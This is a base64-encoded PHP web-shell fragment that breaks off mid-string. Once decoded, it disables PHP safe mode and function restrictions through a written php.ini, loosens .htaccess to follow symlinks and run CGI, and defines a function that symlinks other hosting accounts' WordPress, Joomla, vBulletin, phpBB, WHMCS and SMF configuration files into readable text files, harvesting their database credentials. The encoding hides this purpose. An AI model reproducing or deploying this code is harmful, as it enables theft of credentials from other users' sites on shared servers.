CiRwaHBpbmkgPQonYzJGbVpWOXRiMlJsUFU5R1JnMEtaR2x6WVdKc1pWOW1kVzVqZEdsdmJuTTlUazlPUlE9PSc7CiRmaWxlID0gZm9wZW4oInBocC5pbmkiLCJ3KyIpOwokd3JpdGUgPSBmd3JpdGUgKCRmaWxlICxiYXNlNjRfZGVjb2RlKCRwaHBpbmkpKTsKZmNsb3NlKCRmaWxlKTsKJGh0YWNjZXNzID0KJ1QzQjBhVzl1Y3lCR2IyeHNiM2RUZVcxTWFXNXJjeUJOZFd4MGFWWnBaWGR6SUVsdVpHVjRaWE1nUlhobFkwTkhTUT09JzsKJGZpbGUgPSBmb3BlbigiLmh0YWNjZXNzIiwidysiKTsKJHdyaXRlID0gZndyaXRlICgkZmlsZSAsYmFzZTY0X2RlY29kZSgkaHRhY2Nlc3MpKTsKZWNobyAiPGhyPjxjZW50ZXI+PGI+RE9ORSEiOwplY2hvICI8aHI+PGNlbnRlcj48Yj48YSBocmVmPSIuJF9TRVJWRVJbJ1BIUF9TRUxGJ10uIj5CQUNLPC9hPiI7CmV4aXQ7Cn0KaWYoJF9QT1NUWydtZW5kYXBhdGthbiddPT0ncGFzc3dkJyl7CkBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoMCk7Cm9iX3N0YXJ0KCk7CmVycm9yX3JlcG9ydGluZygwKTsKQHNldF90aW1lX2xpbWl0KDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLDApOwokZm4gPSAkX1BPU1RbJ2ZvbGRlcm5hbWUnXTsKLy9hbGwgZnVuY3Rpb24gaGVyZQoKZnVuY3Rpb24gc3ltbCgkdXNlcm4sJHBkb21haW4pCgl7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2pvb21sYS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG0vY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htYy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zdXBwb3J0L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5ncy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9iaWxsaW5nL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG02LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NsaWVudHMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htY3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvb3JkZXIvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZi5waHAnLCRwZG9tYWluLid+fjUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvYWRtaW4vY29uZmlnLnBocCcsJHBkb21haW4uJ35+NC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTIvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25mX2dsb2JhbC5waHAnLCRwZG9tYWluLid+fmludmlzaW8udHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fjcudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29ubmVjdC5waHAnLCRwZG9tYWluLid+fjgudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvbWtfY29uZi5waHAnLCRwZG9tYWluLid+fm1rLXBvcnRhbGUxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvY29uZmlnLnBocCcsJHBkb21haW4uJ35+MTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvc2V0dGluZ3MucGhwJywkcGRvbWFpbi4nfn5TbWYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUyLycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvZnVuY3Rpb25zLnBocCcsJHBkb21haW4uJ35+cGhwYmIzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMi8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn5pbmZpbml0eS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC92Yi9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jYy9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ibG9nL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9qb29tbGEvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvd2htL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0xLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWMvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvc3VwcG9ydC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTUudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvYmlsbGluZy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jbGllbnRzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG03LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobWNzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG04LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL29yZGVyL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG05LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmYucGhwJywkcGRvbWFpbi4nfn41LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2FkbWluL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWUzLycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZl9nbG9iYWwucGhwJywkcGRvbWFpbi4nfn5pbnZpc2lvLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGUvZGIucGhwJywkcGRvbWFpbi4nfn43LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Nvbm5lY3QucGhwJywkcGRvbWFpbi4nfn44LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL21rX2NvbmYucGhwJywkcGRvbWFpbi4nfn5tay1wb3J0YWxlMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fjEyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3NldHRpbmdzLnBocCcsJHBkb21haW4uJ35+U21mLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lMy8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2luY2x1ZGVzL2Z1bmN0aW9ucy5waHAnLCRwZG9tYWluLid+fnBocGJiMy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTMvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+aW5maW5pdHkudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvdmIvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2MvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluNC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWcucGhwJywkcGRvbWFpbi4nfn5QaHBiYjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvZm9ydW0vaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dwLWNvbmZpZy5waHAnLCRwZG9tYWluLid+fldvcmRwcmVzczEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvYmxvZy93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MyLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGExLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fkpvb21sYTIudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvam9vbWxhL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5Kb29tbGEzLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG0yLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3N1cHBvcnQvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50L2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG00LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmdzL2NvbmZpZ3VyYXRpb24ucGhwJywkcGRvbWFpbi4nfn5XaG01LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2JpbGxpbmcvY29uZmlndXJhdGlvbi5waHAnLCRwZG9tYWluLid+fldobTYudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvY2xpZW50cy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htNy50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93aG1jcy9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9vcmRlci9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+V2htOS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25mLnBocCcsJHBkb21haW4uJ35+NS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9hZG1pbi9jb25maWcucGhwJywkcGRvbWFpbi4nfn40LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNC8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NvbmZfZ2xvYmFsLnBocCcsJHBkb21haW4uJ35+aW52aXNpby50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlL2RiLnBocCcsJHBkb21haW4uJ35+Ny50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25uZWN0LnBocCcsJHBkb21haW4uJ35+OC50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9ta19jb25mLnBocCcsJHBkb21haW4uJ35+bWstcG9ydGFsZTEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9jb25maWcucGhwJywkcGRvbWFpbi4nfn4xMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9zZXR0aW5ncy5waHAnLCRwZG9tYWluLid+flNtZi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTQvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9pbmNsdWRlcy9mdW5jdGlvbnMucGhwJywkcGRvbWFpbi4nfn5waHBiYjMudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU0LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZS9kYi5waHAnLCRwZG9tYWluLid+fmluZmluaXR5LnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL3ZiL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjEudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvaW5jbHVkZXMvY29uZmlnLnBocCcsJHBkb21haW4uJ35+dkJ1bGxldGluMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9mb3J1bS9pbmNsdWRlcy9jb25maWcucGhwJywkcGRvbWFpbi4nfn52QnVsbGV0aW4zLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2NjL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+fnZCdWxsZXRpbjQudHh0Jyk7CgkJc3ltbGluaygnL2hvbWU1LycuJHVzZXJuLicvcHVibGljX2h0bWwvY29uZmlnLnBocCcsJHBkb21haW4uJ35+UGhwYmIxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2ZvcnVtL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRwZG9tYWluLid+flBocGJiMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC93cC1jb25maWcucGhwJywkcGRvbWFpbi4nfn5Xb3JkcHJlc3MxLnR4dCcpOwoJCXN5bWxpbmsoJy9ob21lNS8nLiR1c2Vybi4nL3B1YmxpY19odG1sL2Jsb2cvd3AtY29uZmlnLnBocCcsJHBkb21haW4uJ35+V29yZHByZXNzMi50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdXNlcm4uJy9wdWJsaWNfaHRtbC9jb25maWd1cmF0aW9uLnBocCcsJHBkb21haW4uJ35+Sm9vbWxhMS50eHQnKTsKCQlzeW1saW5rKCcvaG9tZTUvJy4kdX